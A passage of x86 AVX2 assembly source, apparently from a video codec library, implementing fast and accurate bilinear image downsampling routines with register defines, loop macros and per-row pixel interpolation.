shr r_tmp0, 16
vmovdqu xmm_tmp2, [p_src_row0 + r_tmp0]
vmovdqu xmm_tmp3, [p_src_row1 + r_tmp0]
mov r_tmp0, i_xpos
add i_xpos, i_scalex2
shr r_tmp0, 16
vinserti128 ymm_tmp2, ymm_tmp2, [p_src_row0 + r_tmp0], 1
vinserti128 ymm_tmp3, ymm_tmp3, [p_src_row1 + r_tmp0], 1
vpshufb ymm_tmp4, ymm_tmp4, ymm_xpos_int
vpshufb ymm_tmp5, ymm_tmp5, ymm_xpos_int
vpshufb ymm_tmp2, ymm_tmp2, ymm_xpos_int
vpshufb ymm_tmp3, ymm_tmp3, ymm_xpos_int
vpblendd ymm_tmp4, ymm_tmp4, ymm_tmp2, 10001000b
vpblendd ymm_tmp5, ymm_tmp5, ymm_tmp3, 10001000b
vpunpckhbw ymm_tmp4, ymm_tmp4, ymm_0
vpunpckhbw ymm_tmp5, ymm_tmp5, ymm_0
vpmaddwd ymm_tmp4, ymm_tmp4, ymm_tmp1
vpmaddwd ymm_tmp5, ymm_tmp5, ymm_tmp1
AVX2_LinearAccurateInterpolateVerticalDwords ymm_tmp1, ymm_tmp4, ymm_tmp5, ymm_yfrac0, ymm_yfrac1, ymm_tmp3
vpackssdw ymm_tmp0, ymm_tmp0, ymm_tmp1
vpavgw ymm_tmp0, ymm_tmp0, ymm_0
vpackuswb ymm_tmp0, ymm_tmp0, ymm_tmp0
vmovlps [p_dst], xmm_tmp0
vextracti128 [p_dst + 8], ymm_tmp0, 1
add p_dst, 16
AVX2_BilinearIncXposw ymm_xpos_int, ymm_xpos_frac, ymm_xpos_int_inc, ymm_xpos_frac_inc, ymm_7fff, ymm_tmp0, ymm_tmp1
%endmacro
%macro AVX2_GeneralBilinearAccurateDownsample_16px 0
mov r_tmp0, i_xpos
shr r_tmp0, 16
vpbroadcastd ymm_tmp4, [p_src_row0 + r_tmp0]
vpbroadcastd ymm_tmp5, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 1 * i_scalex]
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0]
vpunpcklwd ymm_tmp4, ymm_tmp4, ymm_tmp0
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0]
vpunpcklwd ymm_tmp5, ymm_tmp5, ymm_tmp0
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0]
vpblendd ymm_tmp4, ymm_tmp4, ymm_tmp0, 00100010b
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0]
vpblendd ymm_tmp5, ymm_tmp5, ymm_tmp0, 00100010b
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0 - 2]
vpblendw ymm_tmp4, ymm_tmp4, ymm_tmp0, 1000b
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0 - 2]
vpblendw ymm_tmp5, ymm_tmp5, ymm_tmp0, 1000b
mov r_tmp0, i_xpos
shr r_tmp0, 16
vpbroadcastd ymm_tmp2, [p_src_row0 + r_tmp0]
vpbroadcastd ymm_tmp3, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + 1 * i_scalex]
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0]
vpunpcklwd ymm_tmp2, ymm_tmp2, ymm_tmp0
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0]
vpunpcklwd ymm_tmp3, ymm_tmp3, ymm_tmp0
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0]
vpblendd ymm_tmp2, ymm_tmp2, ymm_tmp0, 00100010b
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0]
vpblendd ymm_tmp3, ymm_tmp3, ymm_tmp0, 00100010b
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
vpbroadcastd ymm_tmp0, [p_src_row0 + r_tmp0 - 2]
vpblendw ymm_tmp2, ymm_tmp2, ymm_tmp0, 1000b
vpbroadcastd ymm_tmp0, [p_src_row1 + r_tmp0 - 2]
vpblendw ymm_tmp3, ymm_tmp3, ymm_tmp0, 1000b
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovd xmm_tmp0, [p_src_row0 + r_tmp0]
vmovd xmm_tmp1, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + i_scalex]
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 1
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 1
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 2
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 2
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 3
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 3
vpblendd ymm_tmp4, ymm_tmp4, ymm_tmp0, 00001111b
vpblendd ymm_tmp5, ymm_tmp5, ymm_tmp1, 00001111b
mov r_tmp0, i_xpos
shr r_tmp0, 16
vmovd xmm_tmp0, [p_src_row0 + r_tmp0]
vmovd xmm_tmp1, [p_src_row1 + r_tmp0]
lea r_tmp0, [i_xpos + i_scalex]
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 1
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 1
lea r_tmp0, [i_xpos + 2 * i_scalex]
lea i_xpos, [i_xpos + 4 * i_scalex]
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 2
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 2
mov r_tmp0, i_xpos
sub r_tmp0, i_scalex
shr r_tmp0, 16
vpinsrw xmm_tmp0, [p_src_row0 + r_tmp0], 3
vpinsrw xmm_tmp1, [p_src_row1 + r_tmp0], 3
vpblendd ymm_tmp2, ymm_tmp2, ymm_tmp0, 00001111b
vpblendd ymm_tmp3, ymm_tmp3, ymm_tmp1, 00001111b
vpunpcklbw ymm_tmp4, ymm_tmp4, ymm_0
vpunpcklbw ymm_tmp5, ymm_tmp5, ymm_0
vpmaddwd ymm_tmp4, ymm_tmp4, ymm_xfrac0
vpmaddwd ymm_tmp5, ymm_tmp5, ymm_xfrac0
AVX2_LinearAccurateInterpolateVerticalDwords ymm_tmp0, ymm_tmp4, ymm_tmp5, ymm_yfrac0, ymm_yfrac1, ymm_tmp1
vpunpcklbw ymm_tmp4, ymm_tmp2, ymm_0
vpunpcklbw ymm_tmp5, ymm_tmp3, ymm_0
vpmaddwd ymm_tmp4, ymm_tmp4, ymm_xfrac1
vpmaddwd ymm_tmp5, ymm_tmp5, ymm_xfrac1
AVX2_LinearAccurateInterpolateVerticalDwords ymm_tmp1, ymm_tmp4, ymm_tmp5, ymm_yfrac0, ymm_yfrac1, ymm_tmp2
vpackssdw ymm_tmp0, ymm_tmp0, ymm_tmp1
vpavgw ymm_tmp0, ymm_tmp0, ymm_0
vpackuswb ymm_tmp0, ymm_tmp0, ymm_tmp0
vextracti128 [p_dst], ymm_tmp0, 1
vmovlps [p_dst + 8], xmm_tmp0
add p_dst, 16
vpaddw ymm_xfrac0, ymm_xfrac0, ymm_xfrac_inc
vpaddw ymm_xfrac1, ymm_xfrac1, ymm_xfrac_inc
vpand ymm_xfrac0, ymm_xfrac0, ymm_7fff
vpand ymm_xfrac1, ymm_xfrac1, ymm_7fff
%endmacro
; downsample_16px_macro=%1 b_fast=%2
%macro AVX2_GeneralBilinearDownsampler_loop 2
%%height:
mov p_src_row0, i_ypos
shr p_src_row0, 15
imul p_src_row0, i_src_stride
add p_src_row0, p_src
mov p_src_row1, p_src_row0
add p_src_row1, i_src_stride
%ifdef X86_32
%if %2
vpbroadcastw ymm_tmp1, i_ypos
vpsllw ymm_tmp1, ymm_tmp1, 1
vpsrlw ymm_tmp1, ymm_tmp1, 1
vpcmpeqw ymm_tmp0, ymm_tmp0, ymm_tmp0
vpsrlw ymm_tmp0, ymm_tmp0, 1
%else
vpbroadcastd ymm_tmp1, i_ypos
vpslld ymm_tmp1, ymm_tmp1, 17
vpsrld ymm_tmp1, ymm_tmp1, 17
vpcmpeqw ymm_tmp0, ymm_tmp0, ymm_tmp0
vpsrld ymm_tmp0, ymm_tmp0, 17
%endif
vpxor ymm_tmp0, ymm_tmp0, ymm_tmp1
vmovdqa ymm_yfrac0, ymm_tmp0
vmovdqa ymm_yfrac1, ymm_tmp1
%else
vmovd xmm_tmp0, i_yposd
vpbroadcastw ymm_yfrac1, xmm_tmp0
%if %2
vpsllw ymm_yfrac1, ymm_yfrac1, 1
vpsrlw ymm_yfrac1, ymm_yfrac1, 1
vpcmpeqw ymm_yfrac0, ymm_yfrac0, ymm_yfrac0
vpsrlw ymm_yfrac0, ymm_yfrac0, 1
%else
vpslld ymm_yfrac1, ymm_yfrac1, 17
vpsrld ymm_yfrac1, ymm_yfrac1, 17
vpcmpeqw ymm_yfrac0, ymm_yfrac0, ymm_yfrac0
vpsrld ymm_yfrac0, ymm_yfrac0, 17
%endif
vpxor ymm_yfrac0, ymm_yfrac0, ymm_yfrac1
%endif
mov i_xpos, 1 << 15
mov i_width_cnt, i_dst_width
sub i_width_cnt, 1
%ifdef ymm_xpos_int
vmovdqa ymm_xpos_int, ymm_xpos_int_begin
vmovdqa ymm_xpos_frac, ymm_xpos_frac_begin
%else
vmovdqa ymm_xfrac0, ymm_xfrac0_begin
vmovdqa ymm_xfrac1, ymm_xfrac1_begin
%endif
%%width:
%1
sub i_width_cnt, 16
jg %%width
lea p_dst, [p_dst + i_width_cnt + 1]
%ifdef i_scalex2
mov r_tmp0, i_scalex2
shr r_tmp0, 1
imul i_width_cnt, r_tmp0
%else
imul i_width_cnt, i_scalex
%endif
add i_xpos, i_width_cnt
shr i_xpos, 16
movzx r_tmp0, byte [p_src_row0 + i_xpos]
mov [p_dst - 1], r_tmp0b
%ifdef X86_32
mov r_tmp0, i_scaleyd
add i_yposd, r_tmp0
%else
add i_yposd, i_scaleyd
%endif
add p_dst, i_dst_stride_less_width
sub i_dst_height, 1
jg %%height
%endmacro
;**************************************************************************************************************
;void GeneralBilinearFastDownsampler_avx2 (uint8_t* pDst, int32_t iDstStride, int32_t iDstWidth,
; int32_t iDstHeight, uint8_t* pSrc, int32_t iSrcStride, uint32_t uiScaleX,
; uint32_t uiScaleY);
;
;**************************************************************************************************************
WELS_EXTERN GeneralBilinearFastDownsampler_avx2
%assign push_num 0
%ifndef X86_32
push r12
push r13
push rbx
push rbp
%assign push_num 4
%ifdef WIN64
push rdi
push rsi
%assign push_num push_num + 2
%endif
%endif
LOAD_7_PARA
PUSH_XMM 16
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r2, r2d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r5, r5d
ZERO_EXTENSION r6d
sub r1, r2 ; dst_stride - dst_width
%ifdef X86_32
vmovd xmm0, arg8
vmovd xmm1, esp
and esp, -32
sub esp, 8 * 4 + 8 * 32
vmovd [esp], xmm1
%define p_dst r0
%define i_dst_stride_less_width [esp + 1 * 4]
%define i_dst_width [esp + 2 * 4]
%define i_dst_height dword [esp + 3 * 4]
%define p_src [esp + 4 * 4]
%define i_src_stride [esp + 5 * 4]
%define i_scalex r6
%define i_scalexd r6d
%define i_scaleyd [esp + 6 * 4]
%define i_xpos r2
%define i_ypos [esp + 7 * 4]
%define i_yposd dword [esp + 7 * 4]
%define p_src_row0 r3
%define p_src_row1 r4
%define i_width_cnt r5
%define r_tmp0 r1
%define r_tmp0b r1b
%define ymm_xpos_frac ymm1
%define ymm_xpos_frac_inc [esp + 8 * 4]
%define ymm_xpos_int ymm3
%define ymm_xpos_int_inc [esp + 8 * 4 + 1 * 32]
%define ymm_yfrac0 [esp + 8 * 4 + 2 * 32]
%define ymm_yfrac1 [esp + 8 * 4 + 3 * 32]
%define xmm_tmp0 xmm7
%define ymm_tmp0 ymm7
%define xmm_tmp1 xmm0
%define ymm_tmp1 ymm0
%define xmm_tmp2 xmm2
%define ymm_tmp2 ymm2
%define xmm_tmp3 xmm4
%define ymm_tmp3 ymm4
%define xmm_tmp4 xmm5
%define ymm_tmp4 ymm5
%define xmm_tmp5 xmm6
%define ymm_tmp5 ymm6
%define ymm_0 [esp + 8 * 4 + 4 * 32]
%define ymm_ffff [esp + 8 * 4 + 5 * 32]
%define ymm_xpos_int_begin [esp + 8 * 4 + 6 * 32]
%define ymm_xpos_frac_begin [esp + 8 * 4 + 7 * 32]
mov i_dst_stride_less_width, r1
mov i_dst_width, r2
mov i_dst_height, r3
mov p_src, r4
mov i_src_stride, r5
vmovd i_scaleyd, xmm0
vpxor xmm0, xmm0, xmm0
vmovdqa ymm_0, ymm0
vpcmpeqw ymm_tmp0, ymm_tmp0, ymm_tmp0
vmovdqa ymm_ffff, ymm_tmp0
%else
%define p_dst r0
%define i_dst_stride_less_width r1
%define i_dst_width r2
%define i_dst_height r3
%define p_src r4
%define i_src_stride r5
%define i_scalex r6
%define i_scalexd r6d
%define i_scaleyd dword arg8d
%define i_xpos r12
%define i_ypos r13
%define i_yposd r13d
%define p_src_row0 rbp
%ifdef WIN64
%define p_src_row1 rsi
%define i_width_cnt rdi
%else
%define p_src_row1 r11
%define i_width_cnt rax
%endif
%define r_tmp0 rbx
%define r_tmp0b bl
%define ymm_0 ymm0
%define ymm_xpos_frac ymm1
%define ymm_xpos_frac_inc ymm2
%define ymm_xpos_int ymm3
%define ymm_xpos_int_inc ymm4
%define ymm_yfrac0 ymm5
%define ymm_yfrac1 ymm6
%define xmm_tmp0 xmm7
%define ymm_tmp0 ymm7
%define xmm_tmp1 xmm8
%define ymm_tmp1 ymm8
%define xmm_tmp2 xmm9
%define ymm_tmp2 ymm9
%define xmm_tmp3 xmm10
%define ymm_tmp3 ymm10
%define xmm_tmp4 xmm11
%define ymm_tmp4 ymm11
%define xmm_tmp5 xmm12
%define ymm_tmp5 ymm12
%define ymm_ffff ymm13
%define ymm_xpos_int_begin ymm14
%define ymm_xpos_frac_begin ymm15
vpxor ymm_0, ymm_0, ymm_0
vpcmpeqw ymm_ffff, ymm_ffff, ymm_ffff
%endif
sub i_dst_height, 1
je .final_row
jl .done
mov i_yposd, 1 << 14
vmovd xmm_tmp0, i_scalexd
vpbroadcastd ymm_tmp0, xmm_tmp0
vpslld ymm_tmp1, ymm_tmp0, 2
vpslld ymm_tmp2, ymm_tmp0, 3
vpaddd ymm_tmp3, ymm_tmp1, ymm_tmp2
vpxor ymm_tmp4, ymm_tmp4, ymm_tmp4
vpblendd ymm_tmp1, ymm_tmp4, ymm_tmp1, 11110000b
vpblendd ymm_tmp2, ymm_tmp2, ymm_tmp3, 11110000b
vpaddd ymm_tmp3, ymm_tmp0, ymm_tmp0
vpblendd ymm_tmp3, ymm_tmp4, ymm_tmp3, 11001100b
vpblendd ymm_tmp0, ymm_tmp4, ymm_tmp0, 10101010b
vpaddd ymm_tmp0, ymm_tmp3, ymm_tmp0
vpaddd ymm_tmp1, ymm_tmp1, ymm_tmp0
vpaddd ymm_tmp2, ymm_tmp2, ymm_tmp0
vpcmpeqw ymm_tmp3, ymm_tmp3, ymm_tmp3
vpsrld ymm_tmp3, ymm_tmp3, 31
vpslld ymm_tmp3, ymm_tmp3, 15
vpaddd ymm_tmp1, ymm_tmp1, ymm_tmp3
vpaddd ymm_tmp2, ymm_tmp2, ymm_tmp3
vpsrld ymm_xpos_int, ymm_tmp1, 16
vpsrld ymm_tmp0, ymm_tmp2, 16
vpackssdw ymm_xpos_int, ymm_xpos_int, ymm_tmp0
vpermq ymm_xpos_int, ymm_xpos_int, 11011000b
vpackuswb ymm_xpos_int, ymm_xpos_int, ymm_xpos_int
vpcmpeqw ymm_tmp3, ymm_tmp3, ymm_tmp3
vpsubb ymm_tmp0, ymm_xpos_int, ymm_tmp3
vpunpcklbw ymm_xpos_int, ymm_xpos_int, ymm_tmp0
vpslld ymm_tmp1, ymm_tmp1, 16
vpsrld ymm_tmp1, ymm_tmp1, 16
vpslld ymm_tmp2, ymm_tmp2, 16
vpsrld ymm_tmp2, ymm_tmp2, 16
vpackusdw ymm_xpos_frac, ymm_tmp1, ymm_tmp2
vpermq ymm_xpos_frac, ymm_xpos_frac, 11011000b
vmovd xmm_tmp0, i_scalexd
vpslld xmm_tmp0, xmm_tmp0, 4
vpbroadcastw ymm_tmp1, xmm_tmp0
vmovdqa ymm_xpos_frac_inc, ymm_tmp1
vpsrld xmm_tmp0, xmm_tmp0, 16
vpsubw ymm_tmp0, ymm_tmp0, ymm_tmp3
vpbroadcastb ymm_tmp0, xmm_tmp0
vmovdqa ymm_xpos_int_inc, ymm_tmp0
vmovdqa ymm_xpos_int_begin, ymm_xpos_int
vmovdqa ymm_xpos_frac_begin, ymm_xpos_frac
cmp i_scalex, 4 << 16
ja .scalex_above4
cmp i_scalex, 2 << 16
ja .scalex_above2_beloweq4
add i_scalex, i_scalex
%xdefine i_scalex2 i_scalex
%undef i_scalex
AVX2_GeneralBilinearDownsampler_loop AVX2_BilinearFastDownsample2xOrLess_16px, 1
shr i_scalex2, 1
%xdefine i_scalex i_scalex2
%undef i_scalex2
jmp .final_row
.scalex_above2_beloweq4:
add i_scalex, i_scalex
%xdefine i_scalex2 i_scalex
%undef i_scalex
AVX2_GeneralBilinearDownsampler_loop AVX2_BilinearFastDownsample4xOrLess_16px, 1
shr i_scalex2, 1
%xdefine i_scalex i_scalex2
%undef i_scalex2
jmp .final_row
.scalex_above4:
cmp i_scalex, 8 << 16
ja .scalex_above8
add i_scalex, i_scalex
%xdefine i_scalex2 i_scalex
%undef i_scalex
AVX2_GeneralBilinearDownsampler_loop AVX2_BilinearFastDownsample8xOrLess_16px, 1
shr i_scalex2, 1
%xdefine i_scalex i_scalex2
%undef i_scalex2
jmp .final_row
.scalex_above8:
%xdefine ymm_xfrac0 ymm_xpos_frac
%xdefine ymm_xfrac1 ymm_xpos_int
%xdefine ymm_xfrac0_begin ymm_xpos_int_begin
%xdefine ymm_xfrac1_begin ymm_xpos_frac_begin
%xdefine ymm_xfrac_inc ymm_xpos_frac_inc
%undef ymm_xpos_int
%undef ymm_xpos_frac
%undef ymm_xpos_int_begin
%undef ymm_xpos_frac_begin
%undef ymm_xpos_int_inc
%undef ymm_xpos_frac_inc
AVX2_UnpckXFrac ymm_tmp0, ymm_xfrac1, ymm_xfrac0, ymm_ffff
vpermq ymm_xfrac0, ymm_tmp0, 01001110b
vpermq ymm_xfrac1, ymm_xfrac1, 01001110b
vmovdqa ymm_xfrac0_begin, ymm_xfrac0
vmovdqa ymm_xfrac1_begin, ymm_xfrac1
vpcmpeqw ymm_tmp0, ymm_tmp0, ymm_tmp0
vpmullw ymm_tmp0, ymm_tmp0, ymm_xfrac_inc
vpunpcklwd ymm_tmp0, ymm_tmp0, ymm_xfrac_inc
vmovdqa ymm_xfrac_inc, ymm_tmp0
AVX2_GeneralBilinearDownsampler_loop AVX2_GeneralBilinearFastDownsample_16px, 1
.final_row:
mov p_src_row0, i_ypos
shr p_src_row0, 15
imul p_src_row0, i_src_stride
add p_src_row0, p_src
mov i_xpos, 1 << 15
mov i_width_cnt, i_dst_width
.final_row_width:
mov r_tmp0, i_xpos
shr r_tmp0, 16
movzx r_tmp0, byte [p_src_row0 + r_tmp0]
mov [p_dst], r_tmp0b
add p_dst, 1
add i_xpos, i_scalex
sub i_width_cnt, 1
jg .final_row_width
.done:
vzeroupper
%ifdef X86_32
mov esp, [esp]
%endif
POP_XMM
LOAD_7_PARA_POP
%ifndef X86_32
%ifdef WIN64
pop rsi
pop rdi
%endif
pop rbp
pop rbx
pop r13
pop r12
%endif
ret
%undef p_dst
%undef i_dst_stride_less_width
%undef i_dst_width
%undef i_dst_height
%undef p_src
%undef i_src_stride
%undef i_scalex
%undef i_scalexd
%undef i_scaleyd
%undef i_xpos
%undef i_ypos
%undef i_yposd
%undef p_src_row0
%undef p_src_row1
%undef i_width_cnt
%undef r_tmp0
%undef r_tmp0b
%undef ymm_xpos_frac
%undef ymm_xpos_frac_inc
%undef ymm_xpos_int
%undef ymm_xpos_int_inc
%undef ymm_yfrac0
%undef ymm_yfrac1
%undef xmm_tmp0
%undef ymm_tmp0
%undef xmm_tmp1
%undef ymm_tmp1
%undef xmm_tmp2
%undef ymm_tmp2
%undef xmm_tmp3
%undef ymm_tmp3
%undef xmm_tmp4
%undef ymm_tmp4
%undef xmm_tmp5
%undef ymm_tmp5
%undef ymm_ffff
%undef ymm_0
%undef ymm_xpos_int_begin
%undef ymm_xpos_frac_begin
%undef ymm_xfrac0
%undef ymm_xfrac1
%undef ymm_xfrac0_begin
%undef ymm_xfrac1_begin
%undef ymm_xfrac_inc
;**************************************************************************************************************
;void GeneralBilinearAccurateDownsampler_avx2 (uint8_t* pDst, int32_t iDstStride, int32_t iDstWidth,
; int32_t iDstHeight, uint8_t* pSrc, int32_t iSrcStride, uint32_t uiScaleX,
; uint32_t uiScaleY);
;
;**************************************************************************************************************
WELS_EXTERN GeneralBilinearAccurateDownsampler_avx2
%assign push_num 0
%ifndef X86_32
push r12
push r13
push rbx
push rbp
%assign push_num 4
%ifdef WIN64
push rdi
push rsi
%assign push_num push_num + 2
%endif
%endif
LOAD_7_PARA
PUSH_XMM 16
SIGN_EXTENSION r1, r1d
SIGN_EXTENSION r2, r2d
SIGN_EXTENSION r3, r3d
SIGN_EXTENSION r5, r5d
ZERO_EXTENSION r6d
sub r1, r2 ; dst_stride - dst_width
add r6, r6 ; 2 * scalex
%ifdef X86_32
vmovd xmm0, arg8
vmovd xmm1, esp
and esp, -32
sub esp, 8 * 4 + 8 * 32
vmovd [esp], xmm1
%define p_dst r0
%define i_dst_stride_less_width [esp + 1 * 4]
%define i_dst_width [esp + 2 * 4]
%define i_dst_height dword [esp + 3 * 4]
%define p_src [esp + 4 * 4]
%define i_src_stride [esp + 5 * 4]
%define i_scalex r6
%define i_scalexd r6d
%define i_scaleyd [esp + 6 * 4]
%define i_xpos r2
%define i_ypos [esp + 7 * 4]
%define i_yposd dword [esp + 7 * 4]
%define p_src_row0 r3
%define p_src_row1 r4
%define i_width_cnt r5
%define r_tmp0 r1
%define r_tmp0b r1b
%define ymm_xpos_frac ymm1
%define ymm_xpos_frac_inc [esp + 8 * 4]
%define ymm_xpos_int ymm3
%define ymm_xpos_int_inc [esp + 8 * 4 + 1 * 32]
%define ymm_yfrac0 [esp + 8 * 4 + 2 * 32]
%define ymm_yfrac1 [esp + 8 * 4 + 3 * 32]
%define xmm_tmp0 xmm7
%define ymm_tmp0 ymm7
%define xmm_tmp1 xmm0
%define ymm_tmp1 ymm0
%define xmm_tmp2 xmm2
%define ymm_tmp2 ymm2
%define xmm_tmp3 xmm4
%define ymm_tmp3 ymm4
%define xmm_tmp4 xmm5
%define ymm_tmp4 ymm5
%define xmm_tmp5 xmm6
%define ymm_tmp5 ymm6
%define ymm_0 [esp + 8 * 4 + 4 * 32]
%define ymm_7fff [esp + 8 * 4 + 5 * 32]
%define ymm_xpos_int_begin [esp + 8 * 4 + 6 * 32]
%define ymm_xpos_frac_begin [esp + 8 * 4 + 7 * 32]
mov i_dst_stride_less_width, r1
mov i_dst_width, r2
mov i_dst_height, r3
mov p_src, r4
mov i_src_stride, r5
vmovd i_scaleyd, xmm0
vpxor xmm0, xmm0, xmm0
vmovdqa ymm_0, ymm0
vpcmpeqw ymm0, ymm0, ymm0
vpsrlw ymm0, ymm0, 1
vmovdqa ymm_7fff, ymm0
%else
%define p_dst r0
%define i_dst_stride_less_width r1
%define i_dst_width r2
%define i_dst_height r3
%define p_src r4
%define i_src_stride r5
%define i_scalex r6
%define i_scalexd r6d
%define i_scaleyd dword arg8d
%define i_xpos r12
%define i_ypos r13
%define i_yposd r13d
%define p_src_row0 rbp
%ifdef WIN64
%define p_src_row1 rsi
%define i_width_cnt rdi
%else
%define p_src_row1 r11
%define i_width_cnt rax
%endif
%define r_tmp0 rbx
%define r_tmp0b bl
%define ymm_0 ymm0
%define ymm_xpos_frac ymm1
%define ymm_xpos_int ymm3
%define ymm_xpos_frac_inc ymm2
%define ymm_xpos_int_inc ymm4
%define ymm_yfrac0 ymm5
%define ymm_yfrac1 ymm6
%define xmm_tmp0 xmm7
%define ymm_tmp0 ymm7
%define xmm_tmp1 xmm8
%define ymm_tmp1 ymm8
%define xmm_tmp2 xmm9
%define ymm_tmp2 ymm9
%define xmm_tmp3 xmm10
%define ymm_tmp3 ymm10
%define xmm_tmp4 xmm11
%define ymm_tmp4 ymm11
%define xmm_tmp5 xmm12
%define ymm_tmp5 ymm12
%define ymm_7fff ymm13
%define ymm_xpos_int_begin ymm14
%define ymm_xpos_frac_begin ymm15
vpxor ymm_0, ymm_0, ymm_0
vpcmpeqw ymm_7fff, ymm_7fff, ymm_7fff
vpsrlw ymm_7fff, ymm_7fff, 1
%endif
sub i_dst_height, 1
je .final_row
jl .done
mov i_yposd, 1 << 14
vmovd xmm_tmp0, i_scalexd
vpbroadcastd ymm_tmp0, xmm_tmp0
vpslld ymm_tmp1, ymm_tmp0, 2
vpslld ymm_tmp2, ymm_tmp0, 3
vpaddd ymm_tmp3, ymm_tmp1, ymm_tmp2
vpxor ymm_tmp4, ymm_tmp4, ymm_tmp4
vpblendd ymm_tmp1, ymm_tmp4, ymm_tmp1, 11110000b
vpblendd ymm_tmp2, ymm_tmp2, ymm_tmp3, 11110000b
vpaddd ymm_tmp3, ymm_tmp0, ymm_tmp0
vpblendd ymm_tmp3, ymm_tmp4, ymm_tmp3, 11001100b
vpblendd ymm_tmp0, ymm_tmp4, ymm_tmp0, 10101010b
vpaddd ymm_tmp0, ymm_tmp3, ymm_tmp0
vpaddd ymm_tmp1, ymm_tmp1, ymm_tmp0
vpaddd ymm_tmp2, ymm_tmp2, ymm_tmp0
vpcmpeqw ymm_tmp3, ymm_tmp3, ymm_tmp3
vpsrld ymm_tmp3, ymm_tmp3, 31
vpslld ymm_tmp3, ymm_tmp3, 15
vpaddd ymm_tmp1, ymm_tmp1, ymm_tmp3
vpaddd ymm_tmp2, ymm_tmp2, ymm_tmp3
vpsrld ymm_xpos_int, ymm_tmp1, 16
vpsrld ymm_tmp0, ymm_tmp2, 16
vpackssdw ymm_xpos_int, ymm_xpos_int, ymm_tmp0
vpermq ymm_xpos_int, ymm_xpos_int, 11011000b
vpackuswb ymm_xpos_int, ymm_xpos_int, ymm_xpos_int
vpcmpeqw ymm_tmp3, ymm_tmp3, ymm_tmp3
vpsubb ymm_tmp0, ymm_xpos_int, ymm_tmp3
vpunpcklbw ymm_xpos_int, ymm_xpos_int, ymm_tmp0
vpslld ymm_tmp1, ymm_tmp1, 16
vpsrld ymm_tmp1, ymm_tmp1, 16
vpslld ymm_tmp2, ymm_tmp2, 16
vpsrld ymm_tmp2, ymm_tmp2, 16
vpackusdw ymm_xpos_frac, ymm_tmp1, ymm_tmp2
vpermq ymm_xpos_frac, ymm_xpos_frac, 11011000b
vpsrlw ymm_xpos_frac, ymm_xpos_frac, 1
vmovd xmm_tmp0, i_scalexd
vpslld xmm_tmp0, xmm_tmp0, 4
vpbroadcastw ymm_tmp1, xmm_tmp0
vpsrlw ymm_tmp1, ymm_tmp1, 1
vmovdqa ymm_xpos_frac_inc, ymm_tmp1
vpsrld xmm_tmp0, xmm_tmp0, 16
vpsubw ymm_tmp0, ymm_tmp0, ymm_tmp3
vpbroadcastb ymm_tmp0, xmm_tmp0
vmovdqa ymm_xpos_int_inc, ymm_tmp0
vmovdqa ymm_xpos_int_begin, ymm_xpos_int
vmovdqa ymm_xpos_frac_begin, ymm_xpos_frac
cmp i_scalex, 4 << 16
ja .scalex_above4
cmp i_scalex, 2 << 16
ja .scalex_above2_beloweq4
add i_scalex, i_scalex
%xdefine i_scalex2 i_scalex
%undef i_scalex
AVX2_GeneralBilinearDownsampler_loop AVX2_BilinearAccurateDownsample2xOrLess_16px, 0
shr i_scalex2, 1
%xdefine i_scalex i_scalex2
%undef i_scalex2
jmp .final_row
.scalex_above2_beloweq4:
add i_scalex, i_scalex
%xdefine i_scalex2 i_scalex
%undef i_scalex
AVX2_GeneralBilinearDownsampler_loop AVX2_BilinearAccurateDownsample4xOrLess_16px, 0
shr i_scalex2, 1
%xdefine i_scalex i_scalex2
%undef i_scalex2
jmp .final_row
.scalex_above4:
cmp i_scalex, 8 << 16
ja .scalex_above8
add i_scalex, i_scalex
%xdefine i_scalex2 i_scalex
%undef i_scalex
AVX2_GeneralBilinearDownsampler_loop AVX2_BilinearAccurateDownsample8xOrLess_16px, 0
shr i_scalex2, 1
%xdefine i_scalex i_scalex2
%undef i_scalex2
jmp .final_row
.scalex_above8:
%xdefine ymm_xfrac0 ymm_xpos_frac
%xdefine ymm_xfrac1 ymm_xpos_int
%xdefine ymm_xfrac0_begin ymm_xpos_int_begin
%xdefine ymm_xfrac1_begin ymm_xpos_frac_begin
%xdefine ymm_xfrac_inc ymm_xpos_frac_inc
%undef ymm_xpos_int
%undef ymm_xpos_frac
%undef ymm_xpos_int_begin
%undef ymm_xpos_frac_begin
%undef ymm_xpos_int_inc
%undef ymm_xpos_frac_inc
AVX2_UnpckXFrac ymm_tmp0, ymm_xfrac1, ymm_xfrac0, ymm_7fff
